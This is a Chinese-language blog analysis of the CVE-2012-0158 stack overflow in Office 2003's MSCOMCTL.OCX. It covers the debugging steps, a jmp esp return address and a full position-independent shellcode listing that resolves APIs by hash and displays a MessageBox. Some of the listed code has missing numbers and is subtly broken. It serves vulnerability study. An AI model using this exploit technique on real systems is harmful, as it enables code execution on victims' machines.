操作系统:Windows7 32位 专业版

Office:2003sp3_20120218.exe

工具:OD和IDA

1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出。

2漏洞分析:

1.获取poc:

网络下载

2.漏洞复现

安装office2003 sp3

直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞。

使用OD进行附加:

因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈是程序出现问题的运势状态。

向上栈回述找到如下地址:

重新进行附加,对此函数进行分析,定位漏洞产生的位置:

在此时函数所在的模块,通过OD快捷键:Alt+E查找对应模块

将MSCOMCTL.OCX加载进IDA,对call MSCOMCTL.275C876D漏洞产生函数分析:

由上可知此漏洞的产生,是因为对栈检测时没有设定上限导致的,所以漏洞的修补就是对是否进行内存拷贝的判断时,小于判断即可

通过对OD动态调试:

通过对poc进行010分析,因为poc是需要对漏洞进行利用,而275C876D是漏洞产生的函数,静态分析可知,第三个参数是申请的内存空间的大小,根据ShellCode的编写需要内存空间进行存储,所以,直接在poc的010中搜索8282,即可定位到自定义缓冲区位置

3漏洞利用:

Shellcode:

1. 在运行的程序中寻找跳板指令地址:

Jmp esp

使用 ImmunityDebugger+mona.py

!mona modules

因为此模块位系统模块且各种保护位false

选择可读可执行的 jmp esp 地址:0x729a0535

2. 编写通用ShellCode的思路:

以简单的MessageBox为例:

1.获取Kernel32.dll 基地址

2.获取GetProcAddress 函数地址

3.获取LoadLibraryExA 函数地址

4.调用LoadLibraryExA 获取user32.dll基地址

5.调用GetProcAddress 获取MessageBoxA 函数地址

6.传参调用MessageBoxA

7.调用GetProcAddress,获取ExitProcess函数地址

8.传参调用ExitProcess

为缩短ShellCode的通过获取API Hash值进行匹对完成

 /* 通过对APIHASH值的匹对行进获取 */
DWORD GetHash(char *fun_name)
{
DWORD digest = ;
while (*fun_name)
{
digest = ((digest << ) | (digest >> )); // 实现了digest的循环右移7位(或循环左移25位)
digest += *fun_name;
fun_name++;
}
return digest;
}
int main()
{
_asm
{
// 将所要使用的函数的hash值入栈
cld // 清空标志位DF
push 0x1e380a6a // MessageBoxA的Hash值
push 0x4fd18963 // ExitProcess的Hash值
push 0x0c917432 // LoadLibraryA的Hash值
mov esi, esp // 令esi指向栈顶位置,此时指向堆栈中存放的LoadLibrary
lea edi, [esi - 0xc]// 后面利用edi的值来调用不同的函数 // 开辟栈空间
xor ebx, ebx // ebx置0
mov bh, 0x04 // 此时ebx为0x400
sub esp, ebx // 开辟0x400大小的空间 // 压入“user32.dll”
mov bx, 0x3233 // 0x3和0x2 倒叙存储
push ebx // 入栈
push 0x72657375 // “user”入栈
push esp
xor edx, edx // edx置0 // 查找kernel32.dll的基地址
mov ebx, fs:[edx + 0x30] // [TEB+0x30]是PEB的位置
mov ecx, [ebx + 0xc] // [PEB+0xc]是PEB_LDR_DATA的位置
mov ecx, [ecx + 0x1c] // [PEB_LDR_DATA+0x1c]是InInitializationOrderModuleList
mov ecx, [ecx] // 进入链表第一个就是ntdll.dll
mov ebp, [ecx + 0x8] // ebp保存的是Kernel32.dll的基地址 find_lib_function :
lodsd
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较
jne find_functions // 如果不相等,继续查找
xchg eax, ebp
call[edi - 0x8]
xchg eax, ebp // 在PE文件中查找相应的API函数
find_functions :
pushad // 保护所有寄存器中的内容
mov eax, [ebp + 0x30] // PE头
mov ecx, [ebp + eax + 0x78]// 导出表的指针
add ecx, ebp
mov ebx, [ecx + 0x20] // 导出函数的名字列表
add ebx, ebp
xor edi, edi // edi置0 // 循环读取导出表函数
next_function_loop :
inc edi // edi不断自增,作为索引
mov esi, [ebx + edi*] // 从列表数组中读取
add esi, ebp // esi保存的是函数名所在的地址
cdq // 把edx的每一个位置成eax的最高位,再把edx扩展位eax的高位,变成64位 // hash值的计算
hash_loop :
movsx eax, byte ptr[esi] // 每次取出一个字符放入eax中
cmp al, ah // 验证eax是否为0x0,即结束符
jz compare_hash // 如果上述结果为0,说明hash值计算完毕进行hash比对
ror edx, // 如果cmp的结果不为0,则进行循环右移7为的操作
add edx, eax // 将循环右移的值不断累加
inc esi // esi自增,用于读取下一个字符
jmp hash_loop // 跳转到hash_loop的位置继续计算 // hash值的比较
compare_hash :
cmp edx, [esp + 0x1c] // 与LoadLibraryA的hash值进行比较
jnz next_function_loop // 如果比较不成功,继续寻找导出表的下一个函数
mov ebx, [ecx + 0x24]
add ebx, ebp
mov di, [ebx + * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + * edi]
xchg eax, ebp
pop edi
push edi
popad // 还原所有寄存器内容
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较 // 主函数内容,用于显示对话框
function_call:
xor ebx, ebx
sub esp, 0x50
xor ebx, ebx
push ebx // cut string
push 0x48656c6c // push "hell"
mov eax, esp
push ebx // cut string
push 0x576f726c // push "worl"
mov ecx, esp push ebx
push eax
push ecx
push ebx
mov eax, 0x77d507ea
call eax // call MessageBox
push ebx
mov eax, 0x7c81cafa
call eax // call ExitProcess
}
return ;
}

4总结:

1. 栈数据被当成代码执行

2. 想要通用的shellcode就需要动态获取kernel32.dll,解析kernel32.dll的导出表获取API

3. 漏洞的利用:覆盖函数返回地址,jmp esp跳转

4. 从编程角度理解思考漏洞的成因并防范

4 CVE-2012-0158 漏洞分析的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  5. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  6. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  7. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  8. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  9. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  10. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

随机推荐

  1. 离线安装python第三方库的实用方法:解决公司内网,服务器/电脑不能上网却需要安装python三方库问题(上:Windows环境中)

    问题描述: 公司的windows电脑是内网,今天需要安装一个Twisted库,用过的应该都晓得,很常见的异步库,但是仅仅依靠Pypi上下载下来的离线.whl安装包是不行的,linux服务器都是远程连接 ...

  2. BayaiM__ oracle函数_02

    BayaiM__ oracle函数_02   Oracle中的字符串函数---------------------------------------------------------------- ...

  3. [视频教程] ubuntu系统下安装最新版PHP7.3.X环境

    视频地址: https://www.bilibili.com/video/av69088870/ 笔记: 先安装一下这个命令 add-apt-repositoryapt-get install sof ...

  4. Lnmp架构部署动态网站环境.2019-7-3-1.3

    Php安装 一.安装准备 1.Php依赖包 [root@Lnmp tools]# yum install -y zlib libxml libjpeg freetype libpng gd curl ...

  5. 关于 'chromedriver' executable needs to be in PATH 的解决办法

    用 chrome 浏览器跑 selenium,执行以下脚本: from selenium import webdriverdr=webdriver.Chrome()dr.maximize_window ...

  6. 201871010102-常龙龙《面向对象程序设计(java)》第十一周学习总结

    项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p ...

  7. BZOJ2733/LG3324 「HNOI2014」永无乡 权值线段树合并

    问题描述 BZOJ2733 LG3224 题解 对于每个结点建立一棵权值线段树. 查询操作就去查询第 \(k\) 大,合并操作就合并两颗权值线段树. 并查集维护连通性. 同时 STO hkk,zcr, ...

  8. 设计模式-Builder模式(创建型模式)

    //以下代码来源: 设计模式精解-GoF 23种设计模式解析附C++实现源码 //Product.h #pragma once class Product { public: Product(); ~ ...

  9. 【CF464E】The Classic Problem(主席树+最短路)

    点此看题面 大致题意: 给你一张无向图,每条边的边权为\(2^{x_i}\),求\(s\)到\(t\)的最短路. 最短路 最短路,首先考虑\(Dijkstra\).这里用\(SPFA\)似乎不太好,因 ...

  10. Word论文

    粘贴图片不完整,只显示一行? 问题:行距被固定了 临时解决:设置多倍行距,推荐值1.5 1. 点一下图片,然后选择样式-正文 即可, 2. 或者为图片创建专用样式,需要时就点一下: 开始-样式(点样式 ...